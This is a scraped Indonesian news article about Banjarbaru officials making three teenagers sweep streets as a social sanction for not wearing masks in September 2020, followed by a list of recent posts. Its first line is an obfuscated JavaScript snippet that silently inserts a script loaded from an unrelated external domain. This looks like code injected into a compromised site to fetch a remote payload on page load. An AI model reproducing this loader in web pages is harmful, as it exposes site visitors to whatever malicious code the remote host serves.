(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

Tak Pakai Masker, Tiga Warga Banjarbaru Kena Sanksi Sosial Menyapu dan Pakai Rompi


KANALKALIMANTAN.COM, BANJARBARU – Pengenaan sanksi sosial atas pelanggaran protokol kesehatan Covid-19, mulai diterapkan di Kota Banjarbaru. Hal ini dibuktikan saat giat patroli gabungan yang dilakukan oleh Satpol PP Kota Banjarbaru, TNI dan Polri, Rabu (2/9/2020) siang.

Patroli dilakukan di tiga lokasi toko perbelanjaan yang ada di Banjarbaru. Di salah satu toko, personil gabungan mendapati tak adanya sekat pembatas atau pelindung antara kasir dan masyarakat yang berbelanja. Lalu, di toko tersebut juga tidak disediakan hand sanitizer dan tanda penerapan sosial distancing.

“Dalam hal ini kita menegur kepada pemilik toko dan meminta untuk melengkapi saranan protokol kesehatan Covid-19,” kata Kepala Satpol PP Banjarbaru, Marhain Rahman.

Berpindah ke lokasi lain, petugas mendapati adanya tiga orang remaja, terdiri 2 laki-laki dan perempuan yang melepaskan masker saat sedang asik berbelanja. Walhasil, ketiga remaja ini pun dikenakan sanksi sosial.

“Ketiga remaja tersebut kita suruh menyapu dengan menggunakan rompi pekerja kebersihan. Diharapkan menjadi efek jera, sehingga disiplin menggunakan masker,” kata Kasatpol PP.

Dari hasil patroli yang telah dilakukan selama beberapa bulan terakhir, kata Marhain, masyarakat Banjarbaru sebagian besar sudah melaksanakan anjuran dari pemerintah tentang protokol kesehatan yakni memakai masker dan jaga jarak. Hanya saja, diakuinya memang masih ada masyarakat yang tak mengindahkan aturan tersebut.

“Memang ada beberapa yang masih yang tidak menjaga jarak, kemudian dari petugas langsung memberikan himbauan kepada pengunjung. Kalau melakukan pelanggaran maka kita hukum penyapu,” pungkasnya.

Pemko Banjarbaru memang telah lama menerbitkan aturan tentang adanya pengenaan sanksi bagi masyarakat yang melanggar protokol kesehatan Covid-19. Hal itu tertuang dalam Peraturan Wali Kota (Perwali) Nomor 20 Tahun 2020, yang berisi pengenaan sanksi fisik, sosial, hingga administratif berupa denda.

Namun begitu, Perwali tersebut belum bisa efektif diterapkan. Khususnya, sanksi denda dengan nominal mencapai Rp 100 ribu – Rp 250 ribu. Sampai saat ini, Pemko Banajarbaru masih menggodok payung hukum ihwal pengenaan sanksi denda tersebut. (Kanalkalimantan.com/rico)

Reporter : Rico
Editor : Cell


Al Ghifari

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

3 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

5 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

6 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

7 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.